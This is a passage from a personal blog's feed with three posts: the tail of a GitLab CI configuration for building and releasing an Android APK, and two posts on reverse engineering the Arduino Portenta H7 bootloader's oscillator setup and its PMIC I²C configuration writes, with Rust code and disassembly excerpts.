font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> my-android-image</span></span>
<span id="cb11-8"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">before_script</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-9"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> echo $CI_JOB_ID</span></span>
<span id="cb11-10"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> echo GE_JOB_ID=$CI_JOB_ID &gt;&gt; assemble.env</span></span>
<span id="cb11-11"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">script</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-12"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> ./gradlew assembleRelease</span></span>
<span id="cb11-13"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">artifacts</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-14"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">paths</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-15"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">      </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> app/build/outputs/apk/release</span></span>
<span id="cb11-16"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">reports</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-17"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">      </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">dotenv</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> assemble.env</span></span>
<span id="cb11-18"></span>
<span id="cb11-19"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">release</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-20"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">stage</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> release</span></span>
<span id="cb11-21"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">image</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> registry.gitlab.com/gitlab-org/release-cli:latest</span></span>
<span id="cb11-22"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">script</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-23"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">    # This is the variable we saved in the 'before_script' section in the assemble job</span></span>
<span id="cb11-24"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> echo "Running release for job"</span></span>
<span id="cb11-25"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> echo $GE_JOB_ID</span></span>
<span id="cb11-26"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">  # We 'need' the assemble job, otherwise we wouldn't have anything to release.</span></span>
<span id="cb11-27"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">needs</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-28"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">job</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> assemble</span></span>
<span id="cb11-29"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">      </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">artifacts</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">true</span></span>
<span id="cb11-30"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">release</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-31"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">name</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> Release $CI_COMMIT_SHORT_SHA</span></span>
<span id="cb11-32"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">description</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> Create release $CI_COMMIT_SHORT_SHA using the release-cli</span></span>
<span id="cb11-33"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">tag_name</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> $CI_COMMIT_SHORT_SHA</span></span>
<span id="cb11-34"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">assets</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-35"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">      </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">links</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-36"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">        </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">name</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"app-release.apk"</span></span>
<span id="cb11-37"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">          </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">url</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://gitlab.com/my-group-placeholder/my-project-placeholder/-/jobs/${GE_JOB_ID}/artifacts/raw/app/build/outputs/apk/release/app-release.apk"</span></span>
<span id="cb11-38"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">  # Only run this job on the main branch</span></span>
<span id="cb11-39"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">  </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">only</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb11-40"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> main</span></span></code></pre></div>


</section>

 ]]></description>
  <category>gitlab</category>
  <category>android</category>
  <category>ci</category>
  <category>cd</category>
  <guid>https://olback.dev/posts/2022-05-04-gitlab-android-ci-cd/</guid>
  <pubDate>Wed, 04 May 2022 00:00:00 GMT</pubDate>
  <media:content url="https://olback.dev/posts/2022-05-04-gitlab-android-ci-cd/gitlab-logo-gray-rgb.png" medium="image" type="image/png" height="55" width="144"/>
</item>
<item>
  <title>Reverse engineering the Arduino Portenta H7 Bootloader [Oscillators] [Part 2]</title>
  <dc:creator>Edwin Svensson</dc:creator>
  <link>https://olback.dev/posts/2021-12-05-arduino-portenta-h7-oscen/</link>
  <description><![CDATA[ 





<section id="oscillators-on-the-h7" class="level1">
<h1>Oscillators on the H7</h1>
<p>The Arduino Portenta H7 uses three diffrent oscillators.</p>
<ol type="1">
<li>32.768kHz (Y1) SiT1532AI-J4-DCC-32.768E</li>
<li>25MHz (U17) DSC6151HI2B-025.0000</li>
<li>27MHz (U18) DSC6151HI2B-027.0000T</li>
</ol>
<p><img src="https://olback.dev/posts/2021-12-05-arduino-portenta-h7-oscen/h7-osc.png" title="Arduino Portenta H7 Oscillator schematic" class="img-fluid"></p>
<section id="khz-y1" class="level2">
<h2 class="anchored" data-anchor-id="khz-y1">32.768kHz (Y1)</h2>
<p>This oscillator is connected to the WiFi module and MCU. This signal can be used by the real-time-clock on the MCU. It’s worth noting however that VDD on Y1 is not connected to VBAT+ which means that the clock will stop even if you have a coin cell installed.</p>
</section>
<section id="mhz-u17" class="level2">
<h2 class="anchored" data-anchor-id="mhz-u17">25MHz (U17)</h2>
<p>The external LAN Phy is the only device using this clock.</p>
</section>
<section id="mhz-u18" class="level2">
<h2 class="anchored" data-anchor-id="mhz-u18">27MHz (U18)</h2>
<p>Both the external High-Speed USB Phy and ANX7625 chip uses this clock.</p>
</section>
<section id="enable-the-oscillators" class="level2">
<h2 class="anchored" data-anchor-id="enable-the-oscillators">Enable the oscillators</h2>
<p>Both U17 and U18 have to manually be enabled by the user. The OSCEN pin is connected to MCU port H, pin 1 (PH1).</p>
<div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb1-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> oscen <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> gpioh<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>ph1<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>into_push_pull_output()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb1-2">oscen<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>set_high()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>unwrap()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb1-3"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Wait for osc to be stable</span></span>
<span id="cb1-4">delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay_ms(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">10u32</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div>


</section>
</section>

 ]]></description>
  <category>arduino</category>
  <category>rust</category>
  <category>bootloader</category>
  <category>h7</category>
  <category>oscillator</category>
  <guid>https://olback.dev/posts/2021-12-05-arduino-portenta-h7-oscen/</guid>
  <pubDate>Sun, 05 Dec 2021 00:00:00 GMT</pubDate>
  <media:content url="https://olback.dev/posts/2021-12-05-arduino-portenta-h7-oscen/h7-osc.png" medium="image" type="image/png" height="91" width="144"/>
</item>
<item>
  <title>Reverse engineering the Arduino Portenta H7 Bootloader [I²C] [Part 1]</title>
  <dc:creator>Edwin Svensson</dc:creator>
  <link>https://olback.dev/posts/2021-10-30-arduino-portenta-h7-bootloader-rev/</link>
  <description><![CDATA[ 





<section id="background" class="level1">
<h1>Background</h1>
<p>I got inspired by <a href="">Jonathan Pallant</a>s <a href="https://github.com/thejpster/monotron">Monotron</a> <a href="https://www.youtube.com/watch?v=PXaSUiGgyEw">(talk)</a> project to make to make my own embedded computer. My initial goal was to essentially reimplement the majoroty of the features found on the Monotron, but on a newer and more powerful platform. The platform of choise was the Arduino Portenta H7 with a dual-core STM32H747 MCU. The Portenta H7 has DisplayPort over USB-C, external SDRAM and QSPI flash and a WiFi/Bluetooth module.</p>
<p>The Portenta H7 can run Arduino sketches ontop of the open-source <a href="https://os.mbed.com/">Mbed rtos</a>. Not something I’m interested in as I want to write my own “OS” from scratch in Rust. The MCU boots from address <code>0x08000000</code>, this is where the bootloader entrypoint is. Arduino sketches are stored at <code>0x08040000</code>, this is where the bootloader jumps to when all the board setup is done.</p>
</section>
<section id="the-bootloader-mystery" class="level1">
<h1>The Bootloader Mystery</h1>
<p>The bootloader is closed-source. So what?</p>
<p>The bootloader configures the Power management IC (PMIC). This is a chip that provides all voltages to all the components on the board. Without the correct configuration, some parts (especially the ANX7625) will not work.</p>
<p>Martino Facchin, member of the Arduino organization on Github said in <a href="https://github.com/arduino/ArduinoCore-mbed/issues/37#issuecomment-672762736">this issue</a> that the source will be released soon. That comment was made well over a year ago. Asking for an update on the matter yielded no results.</p>
<section id="what-we-know-about-the-bootloader" class="level3">
<h3 class="anchored" data-anchor-id="what-we-know-about-the-bootloader">What we know about the bootloader</h3>
<ul>
<li>Written in C++ using the mbed rtos.</li>
<li>Gets the last reset reason and does something.</li>
<li>Configures the PMIC.</li>
<li>Exposes a DFU target on the USB-C connection.</li>
<li>Configures RTC to do something.</li>
<li>Possibly more?</li>
</ul>
<p>Let’s focus on the PMIC configuration as it’s the most important part to make things work.</p>
</section>
<section id="attempt-1" class="level2">
<h2 class="anchored" data-anchor-id="attempt-1">Attempt 1</h2>
<p>After a quick look at the schematics provided by Arduino, we can see that the PMIC used is a <a href="https://www.nxp.com/docs/en/data-sheet/PF1550.pdf">NXP PF1550</a> which lists I²C as the configuration interface. Using an ocsillisocpe at my university, I captured the SCL and SDA lines and saved the capture to a USB drive. After throwing together a small program to convert the captured data to a format that <a href="https://sigrok.org/">sigrok</a> could understand, I imported it using the sigrok frontend <a href="https://sigrok.org/wiki/PulseView">PulseView</a>. PulseView provides great protocol decoding so getting the data was easy. I got a total of six I²C packets where each packet contained two bytes. Great, I thought and added the six I²C writes to my startup code exptecting the orange DL2 LED on the board to turn off. To my surprise it did not. After looking closer at the data, I could see that at the end of my ocsillisocpe capture, there was a I²C start condition and a partial address. Turns out that the ocsillisocpe I used does not have enough memory to capture the entire boot sequence. Bummer.</p>
<p><img src="https://olback.dev/posts/2021-10-30-arduino-portenta-h7-bootloader-rev/arduino_rust_pmic_siglent.bmp" title="Screenshot from ocsillisocpe" class="img-fluid"> <img src="https://olback.dev/posts/2021-10-30-arduino-portenta-h7-bootloader-rev/arduino_boot_i2c_pmic_pulseview.png" title="Complete datacapture from ocsillisocpe imported into PulseView" class="img-fluid"></p>
</section>
<section id="attempt-2" class="level2">
<h2 class="anchored" data-anchor-id="attempt-2">Attempt 2</h2>
<p>The bootloader is closed-source but Arduino provides compiled <a href="https://github.com/arduino/ArduinoCore-mbed/tree/master/bootloaders/PORTENTA_H7">bootloader binaries</a> on Github. Great! Let’s open <code>portentah7_bootloader_mbed_hs_v2.elf</code> in <a href="https://github.com/radareorg/iaito">iaito</a> to take a look. Thankfully, the bootloader binaries provided are non-stripped elf files with debug information. After jumping to the <code>main</code> label we see some RTC, reset reason, flash, and Digital IO calls. None of which are particularly interesting. A bit further down we see a call to <code>mbed::I2C::I2C(PinName, PinName)</code>. After this, I counted twelve calls to <code>mbed::I2C::write(int, char const*, int, bool)</code> which confirmed my suspicion about not capturing all data in my first attempt. Looking at the assembly, it’s not super clear to me what data is being written to the bus. I’m <em>almost</em> confident that the I²C address is stored in R1, data in R2, and data length in R3. Address and data length is no problem to read, however the data written is not obvious to me.</p>
<p>At this point I tried using a debugger to read the registers but failed because the debugger refused to connect.</p>
<p>The following code is repeated twelve times, once for each write.</p>
<div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode s code-with-copy"><code class="sourceCode gnuassembler"><span id="cb1-1"><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x080019f6</span>      movs    r3<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x4f</span>                            <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">; main.cpp:240 ; 'O'</span></span>
<span id="cb1-2"><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x080019f8</span>      add     r2<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> var_8h                          <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">; main.cpp:245</span></span>
<span id="cb1-3"><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x080019fa</span>      movs    r1<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x10</span>                            <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">; loc.FAULT_TYPE_HARD_FAULT</span></span>
<span id="cb1-4"><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x080019fc</span>      strb.w  r3<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>var_8h<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span>                        <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">; main.cpp:243</span></span>
<span id="cb1-5"><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x08001a00</span>      add     r0<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> var_d8h                         <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">; main.cpp:244</span></span>
<span id="cb1-6"><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x08001a02</span>      movs    r3<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span></span>
<span id="cb1-7"><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x08001a04</span>      <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">str</span>     r4<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sp</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span></span>
<span id="cb1-8"><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x08001a06</span>      strb.w  r4<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>var_9h<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span></span>
<span id="cb1-9"><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x08001a0a</span>      <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">bl</span>      <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">mbed::I2C::</span>write<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">int</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> char const<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">int</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> bool<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">; main.cpp:245 ; method.mbed::I2C.write_int__char_const__int__bool_</span></span>
<span id="cb1-10">                                                            <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">; mbed::I2C::write(int, char const*, int, bool) ; method.mbed::I2C.write_int__char_const__int__bool_ ; method.mbed::I2C.write_int__char_const__int__bool_(0xd8, 0x10, 0x8, 0x2, -1)</span></span></code></pre></div>
</section>
<section id="attempt-3" class="level2">
<h2 class="anchored" data-anchor-id="attempt-3">Attempt 3</h2>
<p>At this point I had gotten rather frustrated. I just had to accept the fact that you need the right tool for the job. In this case the tool I needed was a logic analyzer. After some research, the <a href="https://www.saleae.com/">Saleae Logic 8</a> seemed to be the go to. The 400€ (incl VAT) price was rather steep though. Turns out that Saleae have discounts for students and and non-commercial users. Great.</p>
<p>Once my Logic 8 arrived, I hooked it up to the I²C lines and started capturing data. As expected, twelve packets of data were sent by the bootloader.</p>
<p><img src="https://olback.dev/posts/2021-10-30-arduino-portenta-h7-bootloader-rev/arduino_saleae_logic_8.jpeg" title="Saleae Logic 8 connected to Portenta H7 Breakout board" class="img-fluid"> <img src="https://olback.dev/posts/2021-10-30-arduino-portenta-h7-bootloader-rev/arduino_saleae_screenshot.png" title="Saleae Logic2 Screenshot of the first 6 packets" class="img-fluid"></p>
<p>With all the data captured, I once again tried to configure the PMIC and to my surprise, the DL2 LED turns off and everything works! Now other devices sush as the ANX7625 (MIPI to DisplayPort converter) also work.</p>
</section>
</section>
<section id="result" class="level1">
<h1>Result</h1>
<p>Here is a table with all the I²C traffic the bootloader generates:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Packet</th>
<th>Address (7bit)</th>
<th>R/W</th>
<th>Data</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>1</td>
<td>0x08</td>
<td>W</td>
<td>0x4f, 0x00</td>
<td>LDO2_VOLT: 1.80V</td>
</tr>
<tr class="even">
<td>2</td>
<td>0x08</td>
<td>W</td>
<td>0x50, 0x0f</td>
<td>LDO2_CTRL: VLDO2_EN = 1, VLDO2_STBY_EN = 1, VLDO2_OMODE = 1, VLDO2_LPWR = 1</td>
</tr>
<tr class="odd">
<td>3</td>
<td>0x08</td>
<td>W</td>
<td>0x4c, 0x05</td>
<td>LDO1_VOLT: 1.00V</td>
</tr>
<tr class="even">
<td>4</td>
<td>0x08</td>
<td>W</td>
<td>0x4d, 0x03</td>
<td>LDO1_CTRL: VLDO1_EN = 1, VLDO1_STBY_EN = 1</td>
</tr>
<tr class="odd">
<td>5</td>
<td>0x08</td>
<td>W</td>
<td>0x52, 0x09</td>
<td>LDO3_VOLT: 1.20V</td>
</tr>
<tr class="even">
<td>6</td>
<td>0x08</td>
<td>W</td>
<td>0x53, 0x0f</td>
<td>LDO3_CTRL: VLDO3_EN = 1, VLDO3_STBY_EN = 1, VLDO3_OMODE = 1, VLDO3_LPWR = 1</td>
</tr>
<tr class="odd">
<td>7</td>
<td>0x08</td>
<td>W</td>
<td>0x9C, 0x80</td>
<td>Not documented? No mention of 0x9C in datasheet.</td>
</tr>
<tr class="even">
<td>8</td>
<td>0x08</td>
<td>W</td>
<td>0x9E, 0x20</td>
<td>Not documented? No mention of 0x9E in datasheet.</td>
</tr>
<tr class="odd">
<td>9</td>
<td>0x08</td>
<td>W</td>
<td>0x42, 0x02</td>
<td>SW3_CTRL1: SW3_ILIM = 1.5A</td>
</tr>
<tr class="even">
<td>10</td>
<td>0x08</td>
<td>W</td>
<td>0x94, 0xA0</td>
<td>VBUS Current limit = 1500mA</td>
</tr>
<tr class="odd">
<td>11</td>
<td>0x08</td>
<td>W</td>
<td>0x3B, 0x0F</td>
<td>SW2_CTRL: SW2_EN = 1, SW2_STBY_EN = 1, SW2_OMODE = 1, SW2_LPWR = 1</td>
</tr>
<tr class="even">
<td>12</td>
<td>0x08</td>
<td>W</td>
<td>0x35, 0x0F</td>
<td>SW1_CTRL: SW1_EN = 1, SW1_STBY_EN = 1, SW1_OMODE = 1, SW1_LPWR = 1</td>
</tr>
<tr class="odd">
<td>13</td>
<td>0x08</td>
<td>W</td>
<td>0x42, 0x01</td>
<td>This write is not part of the bootloader itself but it’s sent just before your Arduino code runs. <a href="https://github.com/arduino/ArduinoCore-mbed/blob/8d5510ad677ff84dcfbc0fe9626c9d1cb4329763/variants/PORTENTA_H7_M7/variant.cpp#L230">fixup3V1Rail</a></td>
</tr>
</tbody>
</table>
<p>I ended up with code similar to this:</p>
<div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb2-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> PMIC_ADDRESS<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">u8</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x08</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb2-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> PMIC_SETUP<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">u8</span>]] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[</span>
<span id="cb2-3">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x4F</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-4">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x50</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x0F</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-5">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x4C</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x05</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-6">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x4D</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x03</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-7">    <span class="op" style="color: #5E5E5E;
background-color: null;
